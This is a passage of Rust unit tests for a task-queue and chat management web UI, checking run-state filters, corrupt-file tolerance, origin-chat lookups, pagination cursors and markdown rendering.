23625        // The done rule itself (`!["implementing"].includes(shape.status)`),
23626        // read out of the source rather than hardcoded, so a renamed
23627        // in-flight status can't silently make every parsed shape "done".
23628        let done_rule_marker = "done: !";
23629        let done_rule_at = APP_JS[shapes_close..]
23630            .find(done_rule_marker)
23631            .expect("the done rule follows the shape list")
23632            + shapes_close
23633            + done_rule_marker.len();
23634        let includes_at = APP_JS[done_rule_at..]
23635            .find(".includes(shape.status)")
23636            .expect("the done rule ends in .includes(shape.status)")
23637            + done_rule_at;
23638        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23639            .trim()
23640            .trim_start_matches('[')
23641            .trim_end_matches(']')
23642            .split(',')
23643            .map(|s| s.trim().trim_matches('"'))
23644            .filter(|s| !s.is_empty())
23645            .collect();
23646
23647        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23648            .into_iter()
23649            .map(|(waiting, status, dead, parked)| {
23650                let done = !not_done.contains(&status.as_str());
23651                (waiting, status, dead, parked, done)
23652            })
23653            .collect();
23654
23655        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23656        // outright, then merged/ready land, stalled/blocked/failed/
23657        // verified_noop end, and everything else is still in flight.
23658        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23659            if waiting {
23660                return "waiting";
23661            }
23662            if dead
23663                && !parked
23664                && !matches!(
23665                    status,
23666                    "merged"
23667                        | "ready"
23668                        | "stalled"
23669                        | "blocked"
23670                        | "failed"
23671                        | "verified_noop"
23672                        | "superseded"
23673                        | "already_in_base"
23674                )
23675            {
23676                return "stale";
23677            }
23678            match status {
23679                "merged" | "ready" => "landed",
23680                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23681                | "already_in_base" => "ended",
23682                _ => "flight",
23683            }
23684        }
23685
23686        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
23687        // way.
23688        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23689            match filter_key {
23690                "active" => !done,
23691                "flight" => !done && !waiting && !dead,
23692                "stale" => !done && !waiting && dead,
23693                "waiting" => waiting,
23694                "done" => done,
23695                "all" => true,
23696                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23697            }
23698        }
23699
23700        let compatible = |section: &str, filter_key: &str| {
23701            shapes.iter().any(|(waiting, status, dead, parked, done)| {
23702                run_section(*waiting, status, *dead, *parked) == section
23703                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23704            })
23705        };
23706
23707        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
23708        // (active, flight, stale, waiting, done, all) - hand-derived from the
23709        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
23710        // currently contains.
23711        let expected = [
23712            ("waiting", [true, false, false, true, true, true]),
23713            ("stale", [true, false, true, false, false, true]),
23714            ("flight", [true, true, false, false, false, true]),
23715            ("landed", [false, false, false, false, true, true]),
23716            ("ended", [false, false, false, false, true, true]),
23717        ];
23718        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23719
23720        for (section, wants) in expected {
23721            for (filter_key, want) in filter_keys.iter().zip(wants) {
23722                assert_eq!(
23723                    compatible(section, filter_key),
23724                    want,
23725                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23726                );
23727            }
23728        }
23729
23730        // The compatibility check exists only to be acted on: both pickers
23731        // must actually consult it rather than just render its answer.
23732        assert!(
23733            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23734        );
23735        assert!(APP_JS.contains(
23736            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23737        ));
23738        assert!(APP_JS.contains(
23739            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23740        ));
23741    }
23742
23743    #[tokio::test]
23744    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23745        // An operator-named directory - git checkout or not - is never
23746        // second-guessed, even when it does not exist at all: only the
23747        // flag's own unmodified `.` default is ever eligible for discovery.
23748        let dir = tempfile::tempdir().expect("tempdir");
23749        let explicit = dir.path().join("not-a-checkout");
23750        std::fs::create_dir_all(&explicit).expect("create dir");
23751        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23752
23753        let missing = dir.path().join("does-not-exist-at-all");
23754        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23755    }
23756
23757    #[test]
23758    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23759        assert!(APP_JS.contains("function statsDonutArcs"));
23760        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23761        // A bucket click filters by the statuses src/stats.rs counts in it.
23762        assert!(APP_JS.contains("function statusInBucket"));
23763        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23764        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23765        let buckets = [
23766            "merged",
23767            "ready",
23768            "in_progress",
23769            "blocked",
23770            "failed",
23771            "verified_noop",
23772            "superseded",
23773            "stalled",
23774        ];
23775        for key in buckets {
23776            let var = format!("--verdict-{key}:");
23777            // Light, OS-dark and pinned-dark blocks each define it.
23778            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23779            assert!(
23780                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23781                "{key}"
23782            );
23783        }
23784    }
23785
23786    #[tokio::test]
23787    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23788        let dir = tempfile::tempdir().expect("tempdir");
23789        let queue = Queue::at(dir.path().join("queue"));
23790        let talks = Talks::at(dir.path().join("talks"));
23791        std::fs::create_dir_all(queue.root()).unwrap();
23792        std::fs::create_dir_all(talks.root()).unwrap();
23793
23794        // Put a corrupt json file in both stores
23795        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23796        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23797
23798        // Valid task and talk
23799        let mut task = Task::new(
23800            "title".into(),
23801            "inst".into(),
23802            PathBuf::from("/repo"),
23803            Source::Human,
23804        );
23805        task.id = "20261019-123456-abcd".into();
23806        // Write manually so it's a valid file
23807        std::fs::write(
23808            queue.path_of(&task.id),
23809            serde_json::to_string(&task).unwrap(),
23810        )
23811        .unwrap();
23812
23813        let talk_id = "20261019-234567-cdef";
23814        seed_talk_at(&talks, talk_id, "open");
23815
23816        // Exact match should succeed without failing on the corrupt json file
23817        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23818        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23819
23820        // Prefix match should also succeed by scanning file names without deserializing corrupt file
23821        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23822        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23823    }
23824
23825    #[tokio::test]
23826    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23827        let home = tempfile::tempdir().unwrap();
23828        let ui = delta_test_ui(home.path());
23829        // A full history traversal would fail even with no questions.
23830        std::fs::write(ui.queue.root(), "not a directory").unwrap();
23831        std::fs::write(ui.talks.root(), "not a directory").unwrap();
23832        assert!(
23833            questions_list(State(ui.clone()))
23834                .await
23835                .unwrap()
23836                .0
23837                .is_empty()
23838        );
23839        assert!(
23840            question_origins(State(ui.clone()))
23841                .await
23842                .unwrap()
23843                .0
23844                .is_empty()
23845        );
23846        let mut question = Question::new(
23847            "run-history".into(),
23848            "review".into(),
23849            "seat".into(),
23850            "Useful question".into(),
23851            "Useful detail".into(),
23852            vec![],
23853        );
23854        ui.questions.put(&mut question).unwrap();
23855        let core = questions_core(State(ui.clone())).await.unwrap().0;
23856        assert_eq!(core.len(), 1);
23857        assert_eq!(core[0].question.summary, "Useful question");
23858        assert!(!core[0].can_consult_chat);
23859        assert!(core[0].origin_chat.is_none());
23860        assert_eq!(core[0].record_revision, question_record_revision(&question));
23861        assert!(question_origins(State(ui.clone())).await.is_err());
23862        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23863    }
23864
23865    #[tokio::test]
23866    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23867        let home = tempfile::tempdir().unwrap();
23868        let ui = delta_test_ui(home.path());
23869        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23870        let mut parent = Task::new(
23871            "parent".into(),
23872            "body".into(),
23873            PathBuf::from("/repo"),
23874            Source::Agent {
23875                run: chat.clone(),
23876                node: crate::queue::CHAT_NODE.into(),
23877            },
23878        );
23879        parent.id = "parent-task".into();
23880        parent.runs = vec!["parent-run".into()];
23881        ui.queue.put(&mut parent).unwrap();
23882        let mut previous = parent;
23883        for generation in 1..=2 {
23884            let mut child = Task::new(
23885                "child".into(),
23886                "body".into(),
23887                PathBuf::from("/repo"),
23888                Source::Human,
23889            );
23890            child.id = format!("child-task-{generation}");
23891            child.runs = vec![format!("child-run-{generation}")];
23892            child.followup = Some(crate::queue::FollowUp {
23893                origin_task: Some(previous.id.clone()),
23894                run: previous.runs[0].clone(),
23895                pr: String::new(),
23896                findings: vec![],
23897                generation,
23898            });
23899            ui.queue.put(&mut child).unwrap();
23900            previous = child;
23901        }
23902        // A run may have the same spelling as another task's id; its owner
23903        // must not override a typed task reference.
23904        let mut collision = Task::new(
23905            "collision".into(),
23906            String::new(),
23907            PathBuf::from("/repo"),
23908            Source::Human,
23909        );
23910        collision.id = "collision-task".into();
23911        collision.runs = vec![previous.id.clone()];
23912        ui.queue.put(&mut collision).unwrap();
23913        let mut questions = Vec::new();
23914        for (node, reference, expected, eligible) in [
23915            (crate::triage::NODE, previous.id.as_str(), true, false),
23916            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23917            ("review", previous.runs[0].as_str(), true, true),
23918            (
23919                crate::bump::NOTICE_NODE,
23920                previous.runs[0].as_str(),
23921                true,
23922                false,
23923            ),
23924            // Identical text in the wrong reference namespace is not evidence.
23925            ("review", previous.id.as_str(), false, false),
23926            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23927            ("review", "unrelated", false, false),
23928        ] {
23929            let mut q = Question::new(
23930                reference.into(),
23931                node.into(),
23932                "seat".into(),
23933                "Question".into(),
23934                String::new(),
23935                vec![],
23936            );
23937            ui.questions.put(&mut q).unwrap();
23938            questions.push((q, expected, eligible));
23939        }
23940        for (node, reference, associated, eligible) in [
23941            (crate::reconcile::NODE, previous.id.as_str(), true, false),
23942            (
23943                crate::reconcile::NODE,
23944                previous.runs[0].as_str(),
23945                false,
23946                true,
23947            ),
23948            ("implement", previous.id.as_str(), false, false),
23949        ] {
23950            let mut q = Question::new(
23951                reference.into(),
23952                node.into(),
23953                crate::reconcile::SEAT.into(),
23954                "Reconcile".into(),
23955                String::new(),
23956                vec![],
23957            );
23958            ui.questions.put(&mut q).unwrap();
23959            questions.push((q, associated, eligible));
23960        }
23961        let mut release = Question::new(
23962            "release-record".into(),
23963            crate::bump::NOTICE_NODE.into(),
23964            "release-watch".into(),
23965            "Release".into(),
23966            String::new(),
23967            vec![],
23968        );
23969        ui.questions.put(&mut release).unwrap();
23970        let watch = crate::release_watch::WatchState {
23971            question: Some(release.id.clone()),
23972            run: Some(previous.runs[0].clone()),
23973            held_task: Some(previous.id.clone()),
23974            ..Default::default()
23975        };
23976        let watch_dir = home.path().join("release-watch");
23977        std::fs::create_dir_all(&watch_dir).unwrap();
23978        let watch_path = watch_dir.join("watch.json");
23979        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23980        // Ordinary questions and bump notices do not need watch-store I/O.
23981        for batch in [
23982            Vec::new(),
23983            questions.iter().map(|(q, _, _)| q.clone()).collect(),
23984        ] {
23985            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23986            assert!(watches.is_empty());
23987        }
23988        questions.push((release.clone(), true, false));
23989
23990        let views = questions_list(State(ui.clone())).await.unwrap().0;
23991        let origins = question_origins(State(ui.clone())).await.unwrap().0;
23992        for (q, associated, eligible) in &questions {
23993            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23994            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23995            let expected = associated.then_some(chat.as_str());
23996            assert_eq!(
23997                view.origin_chat.as_deref(),
23998                expected,
23999                "{} {}",
24000                q.node,
24001                q.run
24002            );
24003            assert_eq!(origin.origin_chat.as_deref(), expected);
24004            assert_eq!(view.origin_chat_closed, *associated);
24005            assert_eq!(origin.origin_chat_closed, *associated);
24006            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24007            assert_eq!(origin.can_consult_chat, *eligible);
24008        }
24009        // Either saved link independently recovers a release question's owner.
24010        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24011            let link = crate::release_watch::WatchState {
24012                run,
24013                held_task,
24014                ..watch.clone()
24015            };
24016            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24017            let (tasks, talks, watches) =
24018                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24019            assert_eq!(
24020                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24021                    .unwrap()
24022                    .id,
24023                chat,
24024            );
24025            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24026        }
24027        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24028        // Even identical duplicate records are ambiguous: ignore their links.
24029        let duplicate_path = watch_dir.join("duplicate.json");
24030        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24031        let (tasks, talks, watches) =
24032            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24033        assert!(
24034            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24035                .is_none()
24036        );
24037        std::fs::remove_file(duplicate_path).unwrap();
24038        // Another explicit owner is a conflict even if it has no chat.
24039        let mut unrelated = Task::new(
24040            "other".into(),
24041            String::new(),
24042            PathBuf::from("/repo"),
24043            Source::Human,
24044        );
24045        unrelated.id = "unrelated-task".into();
24046        ui.queue.put(&mut unrelated).unwrap();
24047        let mut conflicting = watch.clone();
24048        conflicting.held_task = Some(unrelated.id);
24049        std::fs::write(
24050            watch_dir.join("conflict.json"),
24051            serde_json::to_vec(&conflicting).unwrap(),
24052        )
24053        .unwrap();
24054        let (tasks, talks, watches) =
24055            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24056        assert!(
24057            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24058                .is_none()
24059        );
24060        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24061        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24062        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24063            assert!(origin.origin_chat.is_none());
24064            assert!(!origin.origin_chat_closed);
24065        }
24066    }
24067
24068    #[test]
24069    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24070        let home = tempfile::tempdir().unwrap();
24071        let ui = delta_test_ui(home.path());
24072        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24073        for i in 0..1000 {
24074            let mut task = Task::new(
24075                "unrelated".into(),
24076                "instruction ".repeat(256),
24077                PathBuf::from("/repo"),
24078                Source::Human,
24079            );
24080            task.id = format!("history-{i:04}");
24081            ui.queue.put(&mut task).unwrap();
24082            let id = seed_talk_at(&ui.talks, &task.id, "open");
24083            let mut talk = ui.talks.get(&id).unwrap();
24084            talk.pending = "history ".repeat(256);
24085            ui.talks.put(&mut talk).unwrap();
24086        }
24087        let mut parent = Task::new(
24088            "parent".into(),
24089            "body".into(),
24090            PathBuf::from("/repo"),
24091            Source::Agent {
24092                run: chat_id.clone(),
24093                node: crate::queue::CHAT_NODE.into(),
24094            },
24095        );
24096        parent.id = "task-parent".into();
24097        parent.runs = vec!["run-parent".into()];
24098        ui.queue.put(&mut parent).unwrap();
24099        let mut child = Task::new(
24100            "child".into(),
24101            "body".into(),
24102            PathBuf::from("/repo"),
24103            Source::Human,
24104        );
24105        child.id = "task-child".into();
24106        child.runs = vec!["run-child".into()];
24107        child.followup = Some(crate::queue::FollowUp {
24108            run: "run-parent".into(),
24109            origin_task: Some(parent.id.clone()),
24110            pr: "https://example.invalid/pr/1".into(),
24111            findings: vec![],
24112            generation: 1,
24113        });
24114        ui.queue.put(&mut child).unwrap();
24115        let mut question = Question::new(
24116            child.id.clone(),
24117            crate::conduct::NODE.into(),
24118            "seat".into(),
24119            "Continue?".into(),
24120            String::new(),
24121            vec![],
24122        );
24123        let (tasks, talks, _watches) =
24124            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24125        assert_eq!(tasks.len(), 2);
24126        assert_eq!(talks.len(), 1);
24127        assert_eq!(
24128            ui.monitor.queue_index.lock().unwrap().reparsed,
24129            0,
24130            "exact ancestry bypasses the index"
24131        );
24132        assert_eq!(
24133            crate::consult::origin_talk(&tasks, &talks, &question)
24134                .unwrap()
24135                .id,
24136            chat_id
24137        );
24138        question.run = "run-child".into();
24139        question.node = "review".into();
24140        for origin_task in [Some(parent.id.clone()), None] {
24141            child.followup.as_mut().unwrap().origin_task = origin_task;
24142            ui.queue.put(&mut child).unwrap();
24143            let (tasks, talks, _watches) =
24144                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24145            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24146            let expected =
24147                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24148                    .unwrap();
24149            assert_eq!(actual.id, expected.id);
24150            assert!(!actual.status.open());
24151            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24152            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24153            // Without Unix file identity, every readable record must be
24154            // reparsed to detect same-size, same-mtime replacements safely.
24155            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24156            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24157        }
24158        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24159        ui.queue.put(&mut child).unwrap();
24160        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24161        let (tasks, talks, _watches) =
24162            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24163        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24164        child.origin_chat = Some(chat_id.clone());
24165        ui.queue.put(&mut child).unwrap();
24166        let (tasks, talks, _watches) =
24167            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24168        assert_eq!(
24169            crate::consult::origin_talk(&tasks, &talks, &question)
24170                .unwrap()
24171                .id,
24172            chat_id
24173        );
24174        let revision = question_record_revision(&question);
24175        question.abandon("settled elsewhere");
24176        assert_ne!(revision, question_record_revision(&question));
24177        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24178        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24179        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24180        let (tasks, talks, _watches) =
24181            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24182        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24183    }
24184
24185    #[test]
24186    fn list_cursors_freeze_membership_and_expire_explicitly() {
24187        let home = tempfile::tempdir().unwrap();
24188        let ui = delta_test_ui(home.path());
24189        std::fs::create_dir_all(ui.queue.root()).unwrap();
24190        for i in 0..40 {
24191            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24192        }
24193        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24194        assert_eq!(first.len(), STORE_PAGE_SIZE);
24195        let cursor = cursor.unwrap();
24196        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24197        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24198        let (second, _) = page_ids(
24199            &ui,
24200            false,
24201            PageQuery {
24202                before: Some(cursor.clone()),
24203            },
24204        )
24205        .unwrap();
24206        assert_eq!(second[0], "record-0023");
24207        assert!(second.iter().all(|id| !first.contains(id)));
24208        assert!(
24209            page_ids(
24210                &ui,
24211                true,
24212                PageQuery {
24213                    before: Some(cursor.clone())
24214                }
24215            )
24216            .is_err()
24217        );
24218        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24219        assert_eq!(fresh[0], "record-9999");
24220        ui.monitor.list_walks.lock().unwrap().clear();
24221        assert!(
24222            page_ids(
24223                &ui,
24224                false,
24225                PageQuery {
24226                    before: Some(cursor)
24227                }
24228            )
24229            .is_err()
24230        );
24231    }
24232
24233    #[tokio::test]
24234    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24235        let home = tempfile::tempdir().unwrap();
24236        let ui = delta_test_ui(home.path());
24237        let mut task = Task::new(
24238            "task".into(),
24239            "body".into(),
24240            PathBuf::from("/repo"),
24241            Source::Human,
24242        );
24243        ui.queue.put(&mut task).unwrap();
24244        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24245        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24246        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24247        let expected = parsed + usize::from(!cfg!(unix));
24248        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24249        task.status = crate::queue::TaskStatus::Held;
24250        ui.queue.put(&mut task).unwrap();
24251        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24252        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24253        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24254        ui.queue.put(&mut task).unwrap();
24255        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24256        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24257        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24258    }
24259
24260    #[tokio::test]
24261    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24262        let home = tempfile::tempdir().unwrap();
24263        let ui = delta_test_ui(home.path());
24264        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24265        let before = health(State(ui.clone())).await.unwrap().0;
24266        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24267        let after = health(State(ui)).await.unwrap().0;
24268        assert_ne!(before.notifications_rev, after.notifications_rev);
24269        assert_eq!(after.notifications_unread, 1);
24270    }
24271
24272    #[tokio::test]
24273    async fn list_pages_bound_history_and_keep_dependency_evidence() {
24274        let home = tempfile::tempdir().unwrap();
24275        let ui = delta_test_ui(home.path());
24276        let queue = &ui.queue;
24277        let talks = &ui.talks;
24278        for i in 0..1000 {
24279            let id = format!("20261019-{i:06}-page");
24280            let mut task = Task::new(
24281                "task".into(),
24282                "instruction".repeat(100),
24283                PathBuf::from("/repo/magi"),
24284                Source::Human,
24285            );
24286            task.id = id.clone();
24287            if i == 0 {
24288                task.status = crate::queue::TaskStatus::Held;
24289            } else if i == 999 {
24290                task.status = crate::queue::TaskStatus::Blocked;
24291                task.blocked_by = vec!["20261019-000000-page".into()];
24292            }
24293            queue.put(&mut task).unwrap();
24294            seed_talk_at(talks, &id, "open");
24295        }
24296        let page = serde_json::to_value(
24297            queue_page(State(ui.clone()), Query(PageQuery::default()))
24298                .await
24299                .unwrap()
24300                .0,
24301        )
24302        .unwrap();
24303        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24304        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24305        assert!(
24306            !page["rows"][0]["stuck_roots"]
24307                .as_array()
24308                .unwrap()
24309                .is_empty()
24310        );
24311        let cursor = page["next"].as_str().unwrap();
24312        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24313            .as_str()
24314            .unwrap();
24315        // Deleting an already enumerated file cannot shift or repeat a page.
24316        std::fs::remove_file(queue.path_of(last_id)).unwrap();
24317        let next = serde_json::to_value(
24318            queue_page(
24319                State(ui.clone()),
24320                Query(PageQuery {
24321                    before: Some(cursor.into()),
24322                }),
24323            )
24324            .await
24325            .unwrap()
24326            .0,
24327        )
24328        .unwrap();
24329        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24330        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24331        let chats = serde_json::to_value(
24332            talks_page(State(ui.clone()), Query(PageQuery::default()))
24333                .await
24334                .unwrap()
24335                .0,
24336        )
24337        .unwrap();
24338        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24339        assert!(chats["rows"][0].get("pending").is_none());
24340        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24341        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24342        assert_eq!(counts["held"], 1);
24343        assert_eq!(counts["blocked"], 1);
24344        assert_eq!(counts["queued"], 997);
24345    }
24346
24347    #[test]
24348    fn queue_index_observes_external_replacement_deletion_and_corruption() {
24349        let dir = tempfile::tempdir().unwrap();
24350        let ui = delta_test_ui(dir.path());
24351        let mut task = Task::new(
24352            "task".into(),
24353            "body".into(),
24354            PathBuf::from("/repo"),
24355            Source::Human,
24356        );
24357        task.runs = vec!["run-a".into()];
24358        ui.queue.put(&mut task).unwrap();
24359        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24360        task.runs = vec!["run-b".into()];
24361        let path = ui.queue.path_of(&task.id);
24362        let modified = path.metadata().unwrap().modified().unwrap();
24363        let replacement = path.with_extension("replacement");
24364        let bytes = serde_json::to_vec_pretty(&task).unwrap();
24365        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24366        std::fs::write(&replacement, &bytes).unwrap();
24367        std::fs::File::options()
24368            .write(true)
24369            .open(&replacement)
24370            .unwrap()
24371            .set_times(std::fs::FileTimes::new().set_modified(modified))
24372            .unwrap();
24373        std::fs::rename(&replacement, &path).unwrap();
24374        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24375        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24376        std::fs::write(&path, "broken").unwrap();
24377        assert!(ui.find_task_for_run("run-b").is_err());
24378        std::fs::write(&path, bytes).unwrap();
24379        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24380        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24381        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24382    }
24383
24384    #[tokio::test]
24385    async fn conversation_core_is_independent_of_unreadable_related_history() {
24386        let home = tempfile::tempdir().unwrap();
24387        let ui = delta_test_ui(home.path());
24388        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24389        std::fs::create_dir_all(ui.queue.root()).unwrap();
24390        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24391        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24392            .await
24393            .unwrap();
24394        assert_eq!(core.talk.id, id);
24395        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24396    }
24397
24398    #[tokio::test]
24399    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24400        let home = tempfile::tempdir().unwrap();
24401        let ui = delta_test_ui(home.path());
24402        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24403        let mut task = Task::new(
24404            "Referenced task".into(),
24405            "Unrelated instruction history".repeat(1024),
24406            home.path().into(),
24407            Source::Human,
24408        );
24409        task.id = "20261019-000000-abcd".into();
24410        ui.queue.put(&mut task).unwrap();
24411        let mut conversation = ui.talks.get(&id).unwrap();
24412        conversation.turns.push(talk::Turn {
24413            sender: Some(talk::Sender::Persona),
24414            who: talk::Who::Agent,
24415            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24416            at: conversation.created_at,
24417            attachments: Vec::new(),
24418            usage: None,
24419            breaks: None,
24420            messages: Vec::new(),
24421            posted_by: None,
24422        });
24423        ui.talks.put(&mut conversation).unwrap();
24424
24425        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24426        let markdown = serde_json::to_value(&core.turn_bodies_md)
24427            .unwrap()
24428            .to_string();
24429        assert!(markdown.contains("\"strong\""));
24430        assert!(markdown.contains("\"table\""));
24431        assert!(markdown.contains("\"bullet_list\""));
24432        assert!(markdown.contains("\"code_block\""));
24433        assert!(!markdown.contains("\"internal_link\""));
24434        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24435        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24436        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24437
24438        // Deferred decoration still resolves the same validated task, without
24439        // touching opaque code blocks or changing the original transcript.
24440        let references = ui.references.for_talk(home.path(), &conversation);
24441        let mut decorated = core.turn_bodies_md[0].clone();
24442        references.markdown(&mut decorated);
24443        let decorated = serde_json::to_value(decorated).unwrap().to_string();
24444        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24445        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24446        assert_eq!(
24447            ui.talks.get(&conversation.id).unwrap().turns[0].body,
24448            conversation.turns[0].body
24449        );
24450    }
24451
24452    #[tokio::test]
24453    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24454        let home = tempfile::tempdir().unwrap();
24455        let ui = delta_test_ui(home.path());
24456        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24457        let mut run = RunState::new(
24458            PathBuf::from("/repo"),
24459            "main".into(),
24460            "01234567".into(),
24461            "Useful run".into(),
24462            Config::default(),
24463        );
24464        run.save_under(home.path()).unwrap();
24465        let mut task = Task::new(
24466            "Related".into(),
